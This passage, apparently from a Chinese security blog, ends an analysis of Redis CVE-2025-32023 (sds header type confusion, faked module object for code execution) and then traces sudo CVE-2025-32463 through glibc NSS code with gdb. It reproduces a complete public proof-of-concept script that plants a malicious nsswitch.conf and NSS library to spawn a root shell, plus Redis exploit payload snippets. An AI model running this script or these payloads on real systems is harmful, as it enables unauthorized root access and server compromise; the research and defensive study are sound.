  len = 0x37fa,
  alloc = 0x37fa,
  flags = 0x2,
  buf = 0x7ffff7976005
}
pwndbg>

由于 sdslen 函数取 sds 长度，是先根据不同的 flags，然后再根据这个 flags 取计算这个 sds 的header 长度，然后以当前地址减去 header长度取 len 这个变量

static inline size_t sdslen(const sds s) {
    unsigned char flags = s[-1];
    switch(flags&SDS_TYPE_MASK) {
        case SDS_TYPE_5:
            return SDS_TYPE_5_LEN(flags);
        case SDS_TYPE_8:
            return SDS_HDR(8,s)->len;
        case SDS_TYPE_16:
            return SDS_HDR(16,s)->len;
        case SDS_TYPE_32:
            return SDS_HDR(32,s)->len;
        case SDS_TYPE_64:
            return SDS_HDR(64,s)->len;
    }
    return 0;
}

struct __attribute__ ((__packed__)) sdshdr16 {
    uint16_t len; /* used */
    uint16_t alloc; /* excluding the header and null terminator */
    unsigned char flags; /* 3 lsb of type, 5 unused bits */
    char buf[];
};

struct __attribute__ ((__packed__)) sdshdr64 {
    uint64_t len; /* used */
    uint64_t alloc; /* excluding the header and null terminator */
    unsigned char flags; /* 3 lsb of type, 5 unused bits */
    char buf[];
};

而 sdshdr64 和sdshdr16 的结构体大小不一样，因此如果将 sds16的 flags 改成 SDS_TYPE_64 , 将为从上一个内存中取一个值作为 sds的长度（造成一个类似类型混淆的效果）

fakelen = 0x4142434445464748
 
r.setrange('sds:aa', 0x37fa - 11, p64(fakelen))  # sds @ 0x0005, p64() 00 00 00 00 
r.setrange('sds:bb', 0x37fa - 8, b'B'*8)         # sds @ 0x3805, ................. fa 37 fa 37 02 ~

例如下面的这样的一个效果

pwndbg> p/x *(struct sdshdr16 *)0x7ffff7976000
$115 = {
  len = 0x37fa,
  alloc = 0x37fa,
  flags = 0x2,
  buf = 0x7ffff7976005
}
pwndbg> p/x *(struct sdshdr64 *)(0x7ffff7976000-11)
$116 = {
  len = 0x41424344454647,
  alloc = 0x237fa37fa000000,
  flags = 0x0,
  buf = 0x7ffff7976006
}
pwndbg>

当从 sdshder16 被当成 sdshdr64 后， sds:b 的长度就变成了上一个内存的一个可控制，作者是将这个值设置成0x41424344454647。这样当我们就可以将这个sds:b 当作一个很长的字符串进行操作。作者后面的思路是在内存后喷一堆 embstr，然后取读取 sds:b 的内容。由于此时 sds:b 长度很长，因此读取这个字符串的时候能读书很多的数据，可以读到内存后面很多的东西，这样就可以做 info leak。

然后通过写 sds:b 字符串到操作，在内存中伪造了一个 type 为 Modules 的 Object

# fake module object
pl = p8(0x05) + dump[tofs+1:tofs+4]   # type, encoding, lru
pl += p32(1)                          # refcount
pl += p64(badr + 0x10)                # ptr
r.setrange('sds:bb', tofs+3, pl)

typedef struct RedisModuleType {
    uint64_t id; /* Higher 54 bits of type ID + 10 lower bits of encoding ver. */
    struct RedisModule *module;
    moduleTypeLoadFunc rdb_load;
    moduleTypeSaveFunc rdb_save;
    moduleTypeRewriteFunc aof_rewrite;
    moduleTypeMemUsageFunc mem_usage;
    moduleTypeDigestFunc digest;
    moduleTypeFreeFunc free;
    moduleTypeFreeEffortFunc free_effort;
    moduleTypeUnlinkFunc unlink;
    moduleTypeCopyFunc copy;
    moduleTypeDefragFunc defrag;
    moduleTypeAuxLoadFunc aux_load;
    moduleTypeAuxSaveFunc aux_save;
    moduleTypeMemUsageFunc2 mem_usage2;
    moduleTypeFreeEffortFunc2 free_effort2;
    moduleTypeUnlinkFunc2 unlink2;
    moduleTypeCopyFunc2 copy2;
    moduleTypeAuxSaveFunc aux_save2;
    int aux_save_triggers;
    char name[10]; /* 9 bytes name + null term. Charset: A-Z a-z 0-9 _- */
} moduleType;


void freeModuleObject(robj *o) {
    moduleValue *mv = o->ptr;
    mv->type->free(mv->value);
    zfree(mv);
}

通过需改 type->free 来控制 PC

完整的利用流程

可以看 deepwiki 生成的这个流程图^[4]

Reference link

1.https://redis.io/docs/latest/commands/pfmerge/ ↩
2.https://redis.io/docs/latest/operate/oss_and_stack/reference/internals/internals-sds/ ↩
3.https://github.com/leesh3288/CVE-2025-32023 ↩
4.https://deepwiki.com/leesh3288/CVE-2025-32023/2.2-six-stage-exploitation-methodology ↩

CVE-2025-36463 Sudo_chroot Elevation of Privilege 漏洞分析

2025-07-01T22:00:31.000Z

TL; DR

startascale 6 月 30 日发布了几个 sudo 的提权漏洞，CVE-CVE-2025-32463^[1] 是其中一个，另外一个 CVE-2025-32462^[2] 需要一个特殊配置。

该漏洞依赖于 Sudo 规则被限制在特定主机名或主机名模式的配置场景下。如果满足这些条件，权限提升到 root 无需任何漏洞利用（exploit）。

漏洞分析

CVE-2025-32463在Sudo v1.9.14（2023年6月）中引入（https://github.com/sudo-project/sudo/blob/SUDO_1_9_14/NEWS），在使用chroot功能时，更新了命令匹配处理代码。本文漏洞分析的sudo代码 commit 为： cb3355e9d4f66db642b9c0e9151423762504339b

该代码逻辑在， plugins/sudoers/sudoers.c 文件中的 set_cmnd_path 函数里，

int
set_cmnd_path(struct sudoers_context *ctx, const char *runchroot)
{
...
    /* Pivot root. */
    if (runchroot != NULL) {
if (!pivot_root(runchroot, &pivot_state))
    goto error;
    }
...
ret = resolve_cmnd(ctx, cmnd_in, &cmnd_out, path);
...
if (runchroot != NULL)
(void)unpivot_root(&pivot_state);
...

代码逻辑大致是:
1. pivot_root 函数进行 chroot 2. resolve_cmnd函数去进行命令的匹配查找路径 3. 最后unpivot_root` chroot 回到原来的 root path

漏洞的发生点其实就是在 pivot_root 和 unpivot_root 之间，有代码逻辑去读取 /etc/nsswitch.conf 文件并进行了 nss_database* 的更新。

当我看到这个漏洞和代码的时候有一个直觉性的疑问，如果在 chroot 后会进行 /etc/nsswitch.conf 的读取，且读取的是 chroot 里的文件，那么为什么unpivot_root 后代码代码逻辑不会重新读取 /etc/nsswitch.conf 。因此这个漏洞分析以两个疑问展开分析：

pivot_root 和 unpivot_root 之间什么操作导致会重新加载 /etc/nsswitch.conf
为什么 unpivot_root 之后到加载恶意代码之前不会重新读取 /etc/nsswitch.conf

nss_database_check_reload_and_get 分析

对 nss 相关代码的简单追踪，我们定位到 nss_database_check_reload_and_get^[2] 会调用 nss_database_reload 函数进而打开 /etc/nsswitch.conf 配置文件

调用链如下：

1
2
3

static bool nss_database_check_reload_and_get 
-> static bool ss_database_reload 
-> FILE *fp = fopen (_PATH_NSSWITCH_CONF, "rce");

我们在 pivot_root 之后对 nss_database_check_reload_and_get 下个断点，此时 gdb 的backtrace 如下：

Breakpoint 1, nss_database_check_reload_and_get (local=0x5555555a1ad0, result=0x7fffffffc510, database_index=nss_database_initgroups)
    at ./nss/nss_database.c:396
warning: 396./nss/nss_database.c: No such file or directory
(gdb) bt
#0  nss_database_check_reload_and_get (local=0x5555555a1ad0, result=0x7fffffffc510, database_index=nss_database_initgroups) at ./nss/nss_database.c:396
#1  0x00007ffff7d56ddc in internal_getgrouplist (user=user@entry=0x5555555a8d98 "root", group=group@entry=0, size=size@entry=0x7fffffffc568,
    groupsp=groupsp@entry=0x7fffffffc570, limit=limit@entry=-1) at ./nss/initgroups.c:75
#2  0x00007ffff7d570dc in getgrouplist (user=user@entry=0x5555555a8d98 "root", group=group@entry=0, groups=groups@entry=0x7ffff7b15010,
    ngroups=ngroups@entry=0x7fffffffc5d4) at ./nss/initgroups.c:156
#3  0x00007ffff7fa51a9 in sudo_getgrouplist2_v1 (name=0x5555555a8d98 "root", basegid=0, groupsp=groupsp@entry=0x7fffffffc630,
    ngroupsp=ngroupsp@entry=0x7fffffffc63c) at ./getgrouplist.c:105
#4  0x00007ffff7ed987e in sudo_make_gidlist_item (pw=0x5555555a8d68, ngids=, gids=, gidstrs=0x0, type=1) at ./pwutil_impl.c:298
#5  0x00007ffff7ed83d5 in sudo_get_gidlist (pw=0x5555555a8d68, type=type@entry=1) at ./pwutil.c:1033
#6  0x00007ffff7ecfbcb in runas_getgroups (ctx=ctx@entry=0x7ffff7f296a0 ) at ./match.c:146
#7  0x00007ffff7ebbc3c in runas_setgroups (ctx=0x7ffff7f296a0 ) at ./set_perms.c:1634
#8  set_perms (ctx=ctx@entry=0x7ffff7f296a0 , perm=perm@entry=5) at ./set_perms.c:285
#9  0x00007ffff7edadb8 in resolve_cmnd (ctx=ctx@entry=0x7ffff7f296a0 , infile=infile@entry=0x7fffffffe594 "woot",
    outfile=outfile@entry=0x7fffffffcc40, path=path@entry=0x5555555b0400 "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin")
    at ./resolve_cmnd.c:42
#10 0x00007ffff7ebebbc in set_cmnd_path (ctx=ctx@entry=0x7ffff7f296a0 , runchroot=0x5555555a701c "woot") at ./sudoers.c:1108
#11 0x00007ffff7ebf047 in set_cmnd (ctx=0x7ffff7f296a0 ) at ./sudoers.c:1177
#12 sudoers_check_common (pwflag=pwflag@entry=0, ctx=0x7ffff7f296a0 ) at ./sudoers.c:358
#13 0x00007ffff7ec06c8 in sudoers_check_cmnd (argc=argc@entry=1, argv=argv@entry=0x7fffffffe2d0, env_add=env_add@entry=0x0,
    closure=closure@entry=0x7fffffffcdd0) at ./sudoers.c:689
#14 0x00007ffff7eb6673 in sudoers_policy_check (argc=1, argv=0x7fffffffe2d0, env_add=0x0, command_infop=0x7fffffffcea0, argv_out=0x7fffffffcea8,
    user_env_out=0x7fffffffceb0, errstr=0x7fffffffcec8) at ./policy.c:1244
#15 0x000055555555cffb in policy_check (run_envp=0x7fffffffceb0, run_argv=0x7fffffffcea8, command_info=0x7fffffffcea0, env_add=0x0, argv=0x7fffffffe2d0,
    argc=1) at ./sudo.c:1266
#16 main (

当前 nss_database_check_reload_and_get 的第三个参数 database_index 为 nss_database_initgroups， local 参数结构：

(gdb) p *local
$1 = {data = {nsswitch_conf = {size = 527, ino = 106330, mtime = {tv_sec = 1751446775, tv_nsec = 344332209}, ctime = {tv_sec = 1751446775,
        tv_nsec = 345332238}}, services = {0x5555555a1060, 0x5555555a2070, 0x5555555a1200, 0x5555555a20c0, 0x5555555a1200, 0x5555555a2020, 0x0,
      0x5555555a20c0, 0x5555555a1060, 0x5555555a1200, 0x5555555a20c0, 0x5555555a2070, 0x5555555a3b20, 0x5555555a2070, 0x5555555a2070, 0x5555555a1200,
      0x5555555a20c0}, reload_disabled = 0, initialized = true}, lock = 0, root_ino = 2, root_dev = 64769}

其中 services 对应如下：

 DEFINE_DATABASE (aliases)
DEFINE_DATABASE (ethers)
DEFINE_DATABASE (group)
DEFINE_DATABASE (group_compat)
DEFINE_DATABASE (gshadow)
DEFINE_DATABASE (hosts)
DEFINE_DATABASE (initgroups)
DEFINE_DATABASE (netgroup)
DEFINE_DATABASE (networks)
DEFINE_DATABASE (passwd)
DEFINE_DATABASE (passwd_compat)
DEFINE_DATABASE (protocols)
DEFINE_DATABASE (publickey)
DEFINE_DATABASE (rpc)
DEFINE_DATABASE (services)
DEFINE_DATABASE (shadow)
DEFINE_DATABASE (shadow_compat)

在进 nss_database_reload 函数的时候，里面有个逻辑是，如果 staging->services[i] == NULL 就设置为 default 的值，

for (int i = 0; i < NSS_DATABASE_COUNT; ++i)
  if (staging->services[i] == NULL)
    {
      ok = nss_database_select_default (&cache, i,
                                        &staging->services[i]);
      if (!ok)
        break;
    }

由 nss_database_select_default 获取然后设置

static const char per_database_defaults[NSS_DATABASE_COUNT] =
  {
   [nss_database_group] = nss_database_default_compat,
   [nss_database_group_compat] = nss_database_default_nis,
   [nss_database_gshadow] = nss_database_default_files,
   [nss_database_hosts] = nss_database_default_dns,
   [nss_database_initgroups] = nss_database_default_none,
   [nss_database_networks] = nss_database_default_dns,
   [nss_database_passwd] = nss_database_default_compat,
   [nss_database_passwd_compat] = nss_database_default_nis,
   [nss_database_publickey] = nss_database_default_nis_nisplus,
   [nss_database_shadow] = nss_database_default_compat,
   [nss_database_shadow_compat] = nss_database_default_nis,
  };


static bool
nss_database_select_default (struct nss_database_default_cache *cache,
                             enum nss_database db, nss_action_list *result)
{
  enum nss_database_default def = per_database_defaults[db];
...
case nss_database_default_none:
      /* Very special case: Leave *result as NULL.  */
      return true;
...
  *result = __nss_action_parse (line);
  if (*result == NULL)
    {
      assert (errno == ENOMEM);
      return false;
    }
  return true;

在 nss_database_initgroups 设置的时候，默认为 None，因此此时 service 为 nss_database_initgroups 是 0x0 (这个很重要)

(gdb) p *local
$1 = {data = {nsswitch_conf = {size = 527, ino = 106330, mtime = {tv_sec = 1751446775, tv_nsec = 344332209}, ctime = {tv_sec = 1751446775,
        tv_nsec = 345332238}}, services = {0x5555555a1060, 0x5555555a2070, 0x5555555a1200, 0x5555555a20c0, 0x5555555a1200, 0x5555555a2020, 0x0,
      0x5555555a20c0, 0x5555555a1060, 0x5555555a1200, 0x5555555a20c0, 0x5555555a2070, 0x5555555a3b20, 0x5555555a2070, 0x5555555a2070, 0x5555555a1200,
      0x5555555a20c0}, reload_disabled = 0, initialized = true}, lock = 0, root_ino = 2, root_dev = 64769}

解释了下，此时((struct nss_database_state *)local)->data.services[nss_database_initgroups]为空的原因，我们接着回到 nss_database_check_reload_and_get的代码里：


static bool
nss_database_check_reload_and_get (struct nss_database_state *local,
                                   nss_action_list *result,
                                   enum nss_database database_index)
{
  struct __stat64_t64 str;
  /* Acquire MO is needed because the thread that sets reload_disabled
     may have loaded the configuration first, so synchronize with the
     Release MO store there.  */
  if (atomic_load_acquire (&local->data.reload_disabled))
    {
      *result = local->data.services[database_index];
      /* No reload, so there is no error.  */
      return true;
    }
  struct file_change_detection initial;
  if (!__file_change_detection_for_path (&initial, _PATH_NSSWITCH_CONF))
    return false;
  __libc_lock_lock (local->lock);
  if (__file_is_unchanged (&initial, &local->data.nsswitch_conf))
    {
      /* Configuration is up-to-date.  Read it and return it to the
         caller.  */
      *result = local->data.services[database_index];
      __libc_lock_unlock (local->lock);
      return true;
    }
  int stat_rv = __stat64_time64 ("/", &str);
  if (local->data.services[database_index] != NULL)
    {
      /* Before we reload, verify that "/" hasn't changed.  We assume that
        errors here are very unlikely, but the chance that we're entering
        a container is also very unlikely, so we err on the side of both
        very unlikely things not happening at the same time.  */
      if (stat_rv != 0
  || (local->root_ino != 0
      && (str.st_ino != local->root_ino
  ||  str.st_dev != local->root_dev)))
{
        /* Change detected; disable reloading and return current state.  */
        atomic_store_release (&local->data.reload_disabled, 1);
        *result = local->data.services[database_index];
        __libc_lock_unlock (local->lock);
        return true;
      }
    }
  if (stat_rv == 0)
    {
      local->root_ino = str.st_ino;
      local->root_dev = str.st_dev;
    }
  __libc_lock_unlock (local->lock);
  /* Avoid overwriting the global configuration until we have loaded
     everything successfully.  Otherwise, if the file change
     information changes back to what is in the global configuration,
     the lookups would use the partially-written  configuration.  */
  struct nss_database_data staging = { .initialized = true, };
  bool ok = nss_database_reload (&staging, &initial);
  if (ok)
    {
      __libc_lock_lock (local->lock);
      /* See above for memory order.  */
      if (!atomic_load_acquire (&local->data.reload_disabled))
        /* This may go back in time if another thread beats this
           thread with the update, but in this case, a reload happens
           on the next NSS call.  */
        local->data = staging;
      *result = local->data.services[database_index];
      __libc_lock_unlock (local->lock);
    }
  return ok;
}

在刚进 nss_database_check_reload_and_get 函数的时候，先是判断 local->data.reload_dsiable
是否为 True，如果为True 则直接 return

if (atomic_load_acquire (&local->data.reload_disabled))
  {
    *result = local->data.services[database_index];
    /* No reload, so there is no error.  */
    return true;
  }

然后是判断/etc/nsswitch.conf文件是否修改:

struct file_change_detection initial;
if (!__file_change_detection_for_path (&initial, _PATH_NSSWITCH_CONF))
  return false;
__libc_lock_lock (local->lock);
if (__file_is_unchanged (&initial, &local->data.nsswitch_conf))
  {
    /* Configuration is up-to-date.  Read it and return it to the
       caller.  */
    *result = local->data.services[database_index];
    __libc_lock_unlock (local->lock);
    return true;
  }

因为此时是刚 chroot 进来，所以此时的 /etc/nsswitch.conf是一个修改的状态，所以代码会继续往下走。然后是一个重点逻辑, 如果代码判断成功，则设置 local->data.reload_disabled 的值

 if (local->data.services[database_index] != NULL)
   {
     /* Before we reload, verify that "/" hasn't changed.  We assume that
       errors here are very unlikely, but the chance that we're entering
       a container is also very unlikely, so we err on the side of both
       very unlikely things not happening at the same time.  */
     if (stat_rv != 0
  || (local->root_ino != 0
      && (str.st_ino != local->root_ino
  ||  str.st_dev != local->root_dev)))
{
       /* Change detected; disable reloading and return current state.  */
       atomic_store_release (&local->data.reload_disabled, 1);
       *result = local->data.services[database_index];
       __libc_lock_unlock (local->lock);
       return true;
     }
   }

因为当前 local->data.services[database_index] 为 NULL （此时((struct nss_database_state *)local)->data.services[nss_database_initgroups]为空）

因此不会去设置 local->data.reload_disabled ，此时 local->data.reload_disabled 仍然为 0

1 2	(gdb) p ((struct nss_database_state *)local)->data.reload_disabled $8 = 0

然后保存当前的 root inode 和 root dev

if (stat_rv == 0)
  {
    local->root_ino = str.st_ino;
    local->root_dev = str.st_dev;
  }

最后就走到 bool ok = nss_database_reload (&staging, &initial); 进行 database 的reload。

[!小结]
这里就解答了第一个问题，由于 getgrouplist 的调用因此调用了nss_database_check_reload_and_get 函数。
在nss_database_check_reload_and_get函数里，由于此时 reload_disabled 没有设置且services[nss_database_initgroups] 是空，所以走到了 nss_database_reload 。

reload_disabled

对 nss_database_check_reload_and_get 断点，并在 pivot_root 和unpivot_root 下断点。然后打印出在 nss_database_check_reload_and_get 的第三个参数database_index 。

>end
(gdb) i b
Num     Type           Disp Enb Address            What
3       breakpoint     keep y   
3.1                         y   0x00007ffff7d2b050 in pivot_root at ../sysdeps/unix/syscall-template.S:120
3.2                         y   0x00007ffff7eb59b0 in pivot_root at ./pivot.c:39
4       breakpoint     keep y   0x00007ffff7eb5b00 in unpivot_root at ./pivot.c:64
5       breakpoint     keep y   0x00007ffff7d52300 in nss_database_check_reload_and_get at ./nss/nss_database.c:396
        i r rdx
        c
(gdb)

我们可以清楚的看到在 pivot_root 和 unpivot_root 前后 nss_database_check_reload_and_get 的参数不同：

Breakpoint 3.2, pivot_root (new_root=0x5555555a701c "woot", state=0x7fffffffcc38) at ./pivot.c:39
39{
(gdb) c
Continuing.
Download failed: Invalid argument.  Continuing without source file ./nss/./nss/nss_database.c.

Breakpoint 5, nss_database_check_reload_and_get (local=0x5555555a1ad0, result=0x7fffffffc510, database_index=nss_database_initgroups)
    at ./nss/nss_database.c:396
warning: 396./nss/nss_database.c: No such file or directory
rdx            0x6                 6

Breakpoint 5, nss_database_check_reload_and_get (local=0x5555555a1ad0, result=0x7fffffffc510, database_index=nss_database_group) at ./nss/nss_database.c:396
396in ./nss/nss_database.c
rdx            0x2                 2

Breakpoint 4, unpivot_root (state=state@entry=0x7fffffffcc38) at ./pivot.c:64
64{
(gdb) c
Continuing.
Download failed: Invalid argument.  Continuing without source file ./nss/./nss/nss_database.c.

Breakpoint 5, nss_database_check_reload_and_get (local=0x5555555a1ad0, result=0x7ffff7e10b68 <__nss_group_database>, database_index=nss_database_group)
    at ./nss/nss_database.c:396
warning: 396./nss/nss_database.c: No such file or directory
rdx            0x2                 2

Breakpoint 5, nss_database_check_reload_and_get (local=0x5555555a1ad0, result=0x7ffff7e10b68 <__nss_group_database>, database_index=nss_database_group)
    at ./nss/nss_database.c:396
396in ./nss/nss_database.c
rdx            0x2                 2

Breakpoint 5, nss_database_check_reload_and_get (local=0x5555555a1ad0, result=0x7ffff7e10b00 <__nss_shadow_database>, database_index=nss_database_shadow)
    at ./nss/nss_database.c:396
396in ./nss/nss_database.c
rdx            0xf                 15
Downloading separate debug info for libnss_/woot1337.so.2
Download failed: Invalid argument.  Continuing without source file ./nss/./nss/nss_database.c.

整理出来就是：

nss_database_passwd 9
nss_database_passwd 9
nss_database_passwd 9
# pivot_root
nss_database_initgroups 6
nss_database_group 2
# unpivot_root
nss_database_group 2
nss_database_group 2
nss_database_shadow 15 # load lib

在章节 ”nss_database_check_reload_and_get 分析“的时候我们知道 nss_database_initgroups的时候 reload_disabled 不会设置。

当到第一个 nss_database_group 的时候，由于文件没有修改，所以会直接 return。

(gdb) n
418      *result = local->data.services[database_index];
(gdb) l
413  __libc_lock_lock (local->lock);
414  if (__file_is_unchanged (&initial, &local->data.nsswitch_conf))
415    {
416      /* Configuration is up-to-date.  Read it and return it to the
417         caller.  */
418      *result = local->data.services[database_index];
419      __libc_lock_unlock (local->lock);
420      return true;
421    }
422
(gdb)

不会走后续的逻辑。

当走完 unpivot_root 来到第二个nss_database_group, reload_disabled 没有设置，走到文件修改比较。因为此时已经 unpivot_root, 因此文件是有变化的，程序会继续执行。

当走到 if (local->data.services[database_index] != NULL) 判断的时候

 if (local->data.services[database_index] != NULL)
   {
     /* Before we reload, verify that "/" hasn't changed.  We assume that
       errors here are very unlikely, but the chance that we're entering
       a container is also very unlikely, so we err on the side of both
       very unlikely things not happening at the same time.  */
     if (stat_rv != 0
  || (local->root_ino != 0
      && (str.st_ino != local->root_ino
  ||  str.st_dev != local->root_dev)))
{
       /* Change detected; disable reloading and return current state.  */
       atomic_store_release (&local->data.reload_disabled, 1);
       *result = local->data.services[database_index];
       __libc_lock_unlock (local->lock);
       return true;
     }
   }

由于 local->data.services[database_index] 不为空，因此会进入 if 的逻辑。且此时

stat_rv = 0
((struct nss_database_state *)local)->root_ino = 0x560d0
((struct nss_database_state *)0x5555555a1ad0)->root_dev = 0xfd01
str.st_ino != local->root_ino
str.st_dev != local->root_dev

符合这个 if 的判断，会进到 atomic_store_release (&local->data.reload_disabled, 1); , 走完这句代码后 local->data.reload_disabled 就会被设置为 1，然后直接返回。

那么之后剩下的 nss_database_check_reload_and_get 函数调用都会在开头就会返回，不会进到 nss_database_reload 逻辑里

[!小结]
这里就解决了第二个疑问，为什么后续 nss_database_check_reload_and_get 函数调用不会进到 nss_database_reload。因为代码逻辑当 chroot 回到原来的目录的时候，调用第一个 nss_database_check_reload_and_get 会将 reload_disabled 设置成 1 且返回，后续的调用就不会再进 nss_database_reload

load evil library

利用直接参考贴原作者的就行：

#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
#                  @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat > woot1337.c<<EOF
#include 
#include 

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/bash", "/bin/bash", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}

在不可信任的路径里配置一个 etc/nsswitch.conf, 内容如下：

1 2	bash-5.2$ cat woot/etc/nsswitch.conf passwd: /woot1337

一个有趣的说明，nsswitch.conf中的源的名称也被用作共享对象（库）的路径的一部分。例如，上述LDAP源转化为 libnss_/woot1337.so.2.so。

那么在哪里加载恶意 so 的呢？我们对 dlopen 下一个断点，然后查看一下他的 backtrace。

#0  0x00007ffff7e86191 in woot () from libnss_/woot1337.so.2
#1  0x00007ffff7fca6d5 in call_init (l=0x5555555b5cb0, argc=argc@entry=4, argv=argv@entry=0x7fffffffe2b8, env=env@entry=0x7fffffffe2e0)
    at ./elf/dl-init.c:60
#2  0x00007ffff7fca824 in call_init (env=, argv=, argc=, l=) at ./elf/dl-init.c:120
#3  _dl_init (main_map=0x5555555b5cb0, argc=4, argv=0x7fffffffe2b8, env=0x7fffffffe2e0) at ./elf/dl-init.c:121
#4  0x00007ffff7fc65b2 in __GI__dl_catch_exception (exception=exception@entry=0x0, operate=operate@entry=0x7ffff7fd1cc0 ,
    args=args@entry=0x7fffffffc340) at ./elf/dl-catch.c:211
#5  0x00007ffff7fd1d7c in dl_open_worker (a=0x7fffffffc4f0) at ./elf/dl-open.c:829
#6  dl_open_worker (a=a@entry=0x7fffffffc4f0) at ./elf/dl-open.c:792
#7  0x00007ffff7fc651c in __GI__dl_catch_exception (exception=exception@entry=0x7fffffffc4d0, operate=operate@entry=0x7ffff7fd1ce0 ,
    args=args@entry=0x7fffffffc4f0) at ./elf/dl-catch.c:237
#8  0x00007ffff7fd2164 in _dl_open (file=0x5555555b4d40 "libnss_/woot1337.so.2", mode=, caller_dlopen=0x7ffff7d53a0f ,
    nsid=, argc=4, argv=0x7fffffffe2b8, env=0x7fffffffe2e0) at ./elf/dl-open.c:905
#9  0x00007ffff7d840d5 in do_dlopen (ptr=ptr@entry=0x7fffffffc750) at ./elf/dl-libc.c:95
#10 0x00007ffff7fc651c in __GI__dl_catch_exception (exception=exception@entry=0x7fffffffc6e0, operate=0x7ffff7d84090 , args=0x7fffffffc750)
    at ./elf/dl-catch.c:237
#11 0x00007ffff7fc6669 in _dl_catch_error (objname=0x7fffffffc740, errstring=0x7fffffffc748, mallocedp=0x7fffffffc73f, operate=,
    args=) at ./elf/dl-catch.c:256
#12 0x00007ffff7d844ef in dlerror_run (args=0x7fffffffc750, operate=0x7ffff7d84090 ) at ./elf/dl-libc.c:45
#13 __libc_dlopen_mode (name=, mode=mode@entry=-2147483646) at ./elf/dl-libc.c:162
#14 0x00007ffff7d53a0f in module_load (module=0x5555555af790) at ./nss/nss_module.c:187
#15 0x00007ffff7d53ee5 in __nss_module_load (module=0x5555555af790) at ./nss/nss_module.c:302
#16 __nss_module_get_function (module=0x5555555af790, name=name@entry=0x7ffff7dcf1eb "setspent") at ./nss/nss_module.c:328
#17 0x00007ffff7d5460b in __GI___nss_lookup_function (fct_name=0x7ffff7dcf1eb "setspent", ni=) at ./nss/nsswitch.c:137
#18 __GI___nss_lookup (ni=0x7ffff7e11690 , fct_name=0x7ffff7dcf1eb "setspent", fct2_name=0x0, fctp=0x7fffffffcac0) at ./nss/nsswitch.c:67
#19 0x00007ffff7d51306 in setup (all=1, startp=0x7ffff7e11680 , nip=0x7ffff7e11690 , fctp=0x7fffffffcac0,
    lookup_fct=0x7ffff7d50a80 <__GI___nss_shadow_lookup2>, func_name=0x7ffff7dcf1eb "setspent") at ./nss/getnssent_r.c:33
#20 __nss_setent (func_name=func_name@entry=0x7ffff7dcf1eb "setspent", lookup_fct=0x7ffff7d50a80 <__GI___nss_shadow_lookup2>,
    nip=nip@entry=0x7ffff7e11690 , startp=startp@entry=0x7ffff7e11680 , last_nip=last_nip@entry=0x7ffff7e11688 ,
    stayopen=stayopen@entry=0, stayopen_tmp=0x0, res=0) at ./nss/getnssent_r.c:76
#21 0x00007ffff7d6490b in setspent () at ../nss/getXXent_r.c:124
#22 0x00007ffff7e98b33 in sudo_setspent () at ./getspwuid.c:122
#23 0x00007ffff7e98c27 in sudo_passwd_init (ctx=, pw=0x5555555a8a78, auth=0x7ffff7f29020 ) at ./auth/passwd.c:57
#24 0x00007ffff7e97a84 in sudo_auth_init (ctx=ctx@entry=0x7ffff7f296a0 , pw=0x5555555a8a78, mode=mode@entry=33554433)
    at ./auth/sudo_auth.c:117
#25 0x00007ffff7e9a9a3 in check_user (ctx=ctx@entry=0x7ffff7f296a0 , validated=validated@entry=96, mode=33554433) at ./check.c:136
#26 0x00007ffff7ebf201 in sudoers_check_common (pwflag=pwflag@entry=0, ctx=0x7ffff7f296a0 ) at ./sudoers.c:468
#27 0x00007ffff7ec06c8 in sudoers_check_cmnd (argc=argc@entry=1, argv=argv@entry=0x7fffffffe2d0, env_add=env_add@entry=0x0,
    closure=closure@entry=0x7fffffffcdd0) at ./sudoers.c:689
#28 0x00007ffff7eb6673 in sudoers_policy_check (argc=1, argv=0x7fffffffe2d0, env_add=0x0, command_infop=0x7fffffffcea0, argv_out=0x7fffffffcea8,
    user_env_out=0x7fffffffceb0, errstr=0x7fffffffcec8) at ./policy.c:1244
#29 0x000055555555cffb in policy_check (run_envp=0x7fffffffceb0, run_argv=0x7fffffffcea8, command_info=0x7fffffffcea0, env_add=0x0, argv=0x7fffffffe2d0,
    argc=1) at ./sudo.c:1266
#30 main (argc=, argv=, envp=0x7fffffffe2e0) at ./sudo.c:261
(gdb)

从这个调用链，我们就很清楚的知道了是在 setspent 之后进行的 dlopen 加载恶意的 so

policy_check -> sudoers_policy_check -> sudoers_check_cmnd
-> sudoers_check_common 
-> set_cmnd_path 
-> check_user -> sudo_auth_init -> sudo_passwd_init -> sudo_setspent -> setspent
-> setup -> module_load

那么 setspent 做了什么呢？ setspent 函数会用来打开 shadows 文件的方法一个使用的例子


setpwent();
while(gets(buf) != NULL)
{
if((sp = getspnam(buf)) != (struct spwd *) 0 )
{
printf("Vaild login name is:%s\n",sp->sp_namp);
}
else
{
setspent();
while((sp = getspent()) != (struct spwd *)0)
{
printf("%s\n", sp->sp_namp);
}
}

setspent 实现代码^[3]

void
SETFUNC_NAME (STAYOPEN)
{
  int save;
  __libc_lock_lock (lock);
  __nss_setent (SETFUNC_NAME_STRING, DB_LOOKUP_FCT, &nip, &startp,
&last_nip, STAYOPEN_VAR, STAYOPEN_TMPVAR, NEED__RES);
  save = errno;
  __libc_lock_unlock (lock);
  __set_errno (save);
}

当调用到module_load的时候就会加载 so

/* Internal implementation of __nss_module_load.  */
static bool
module_load (struct nss_module *module)
{
  if (strcmp (module->name, "files") == 0)
    return module_load_nss_files (module);
  if (strcmp (module->name, "dns") == 0)
    return module_load_nss_dns (module);
  void *handle;
  {
    char *shlib_name;
    if (__asprintf (&shlib_name, "libnss_%s.so%s",
                    module->name, __nss_shlib_revision) < 0)
      /* This is definitely a temporary failure.  Do not update
         module->state.  This will trigger another attempt at the next
         call.  */
      return false;
    handle = __libc_dlopen (shlib_name);
    free (shlib_name);
  }
  /* Failing to load the module can be caused by several different
     scenarios.  One such scenario is that the module has been removed
     from the disk.  In which case the in-memory version is all that
     we have, and if the module->state indidates it is loaded then we
     can use it.  */
